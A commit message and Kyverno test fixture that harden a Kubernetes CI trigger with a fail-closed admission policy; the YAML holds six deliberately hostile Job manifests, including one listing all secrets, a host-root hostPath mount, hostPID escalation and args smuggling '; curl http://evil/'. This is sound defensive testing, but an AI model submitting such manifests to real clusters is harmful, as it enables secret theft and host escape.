Implements the credential model the operator chose for wiring L2/L3 into CI: a narrow
trigger SA bounded by a fail-closed Kyverno admission policy, rather than the
zero-credential GitOps-native alternative (plan section 4, primary model).
THE ESCALATION THIS CLOSES. Kubernetes places NO `use` check on a Job's
serviceAccountName. Any principal that can `create jobs` in ns conformance can create a Job
running as conformance-runner -- nodes/patch, pods/exec, namespaces/patch -- with an
arbitrary command. A CI token with plain `create jobs` IS that privileged identity no matter
how narrow its own Role looks. RBAC cannot fix this; only constraining the SHAPE of what the
trigger may create can.
Adds:
* SA/Role/RoleBinding conformance-trigger -- create+get+list+watch jobs, get pods and
pods/log, nothing else. Namespaced. No delete (a trigger that can delete can hide a
failed run), no exec, no secrets. Results come back as a tarball on stdout read via
pods/log, so no execution channel into the runner pod is ever granted.
* ClusterPolicy conformance-trigger-job-shape -- Enforce, failurePolicy: Fail. It does NOT
use ${KYVERNO_VALIDATION_ACTION}: a security boundary an overlay can downgrade to Audit
is not a boundary. It constrains ONLY conformance-trigger, so a mistake here cannot wedge
the rest of the cluster.
* Flux Kustomization `conformance` -> ./conformance/incluster, wait:false and non-gating
like apps-vms, so a test identity can never stall the platform or app tiers.
* A kyverno test with seven cases, six of them real escalation paths.
VERIFIED by `kyverno apply` (pass: 10, fail: 6, error: 0), not assumed:
evil-command DENIED at /spec/template/spec/containers/0/command/ <- THE attack
evil-image DENIED at .../image/
tag-not-digest DENIED at .../image/ (mutable tag is republishable)
host-namespaces DENIED at /spec/template/spec/hostPID/
extra-volume DENIED by the volumes foreach
injected-args DENIED by the args foreach
good-run ADMITTED
ALSO FIXES A FAIL-OPEN IN THE GATE ITSELF. `kyverno test` does NOT fail when a policy cannot
LOAD: every row becomes "Skip / Invalid Policy" and it still prints "N tests passed" and
exits 0. Measured while writing this policy -- a schema error (subjects in a separate
match.all entry from resources) produced exactly that, and ci/l0.sh would have certified a
security policy that does not load as green. This is not specific to this policy: a typo in
restrict-host-namespaces or secret-provenance would silently disable it with the gate still
green. ci/l0.sh now scans for "Invalid Policy" and fails. Proven: broken policy -> l0 rc=1,
restored -> rc=0.
IMAGE PINNING, HONEST LIMIT: the plan specifies pinning the exact runner image digest. That
image does not exist yet, so this enforces the enforceable half -- the image must be under
the conformance repository path AND digest-pinned, never a mutable tag. Residual surface:
anyone who can PUSH to that path could publish a different digest. Tighten to the literal
digest when the image is built; it is a one-line change to the pattern, reviewed in a PR,
which is where a change to a security boundary belongs.
NOT YET WIRED, deliberately: no runner image, no trigger kubeconfig, no CLUSTER_AVAILABLE.
The identities here are inert until those exist, and PR #12 makes CLUSTER_AVAILABLE=true
block rather than fake a green in the meantime.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
155 lines
4.4 KiB
YAML
155 lines
4.4 KiB
YAML
# The committed shape — must be ADMITTED.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: good-run
|
|
namespace: conformance
|
|
spec:
|
|
template:
|
|
spec:
|
|
serviceAccountName: conformance-runner
|
|
containers:
|
|
- name: runner
|
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["./run.sh"]
|
|
args: ["--layer", "l2,l3", "--requirements", "R-NET-01"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
volumes:
|
|
- name: workspace
|
|
emptyDir: {}
|
|
- name: results
|
|
emptyDir: {}
|
|
---
|
|
# THE ESCALATION: runner SA, but an arbitrary command. Must be DENIED.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: evil-command
|
|
namespace: conformance
|
|
spec:
|
|
template:
|
|
spec:
|
|
serviceAccountName: conformance-runner
|
|
containers:
|
|
- name: runner
|
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
volumes:
|
|
- name: workspace
|
|
emptyDir: {}
|
|
---
|
|
# An arbitrary image running as the privileged SA. Must be DENIED.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: evil-image
|
|
namespace: conformance
|
|
spec:
|
|
template:
|
|
spec:
|
|
serviceAccountName: conformance-runner
|
|
containers:
|
|
- name: runner
|
|
image: docker.io/library/alpine:latest
|
|
command: ["./run.sh"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
volumes:
|
|
- name: workspace
|
|
emptyDir: {}
|
|
---
|
|
# A mutable TAG instead of a digest — republishable under the same reference. Must be DENIED.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: tag-not-digest
|
|
namespace: conformance
|
|
spec:
|
|
template:
|
|
spec:
|
|
serviceAccountName: conformance-runner
|
|
containers:
|
|
- name: runner
|
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner:latest
|
|
command: ["./run.sh"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
volumes:
|
|
- name: workspace
|
|
emptyDir: {}
|
|
---
|
|
# Host namespaces + privilege escalation. Must be DENIED.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: host-namespaces
|
|
namespace: conformance
|
|
spec:
|
|
template:
|
|
spec:
|
|
serviceAccountName: conformance-runner
|
|
hostPID: true
|
|
containers:
|
|
- name: runner
|
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["./run.sh"]
|
|
securityContext:
|
|
runAsNonRoot: false
|
|
allowPrivilegeEscalation: true
|
|
volumes:
|
|
- name: workspace
|
|
emptyDir: {}
|
|
---
|
|
# An extra volume — the way out of a constrained pod. Must be DENIED.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: extra-volume
|
|
namespace: conformance
|
|
spec:
|
|
template:
|
|
spec:
|
|
serviceAccountName: conformance-runner
|
|
containers:
|
|
- name: runner
|
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["./run.sh"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
volumes:
|
|
- name: workspace
|
|
emptyDir: {}
|
|
- name: hostroot
|
|
hostPath:
|
|
path: /
|
|
---
|
|
# Injected args beyond the committed flags. Must be DENIED.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: injected-args
|
|
namespace: conformance
|
|
spec:
|
|
template:
|
|
spec:
|
|
serviceAccountName: conformance-runner
|
|
containers:
|
|
- name: runner
|
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["./run.sh"]
|
|
args: ["--layer", "l2", ";", "curl", "http://evil/"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
volumes:
|
|
- name: workspace
|
|
emptyDir: {}
|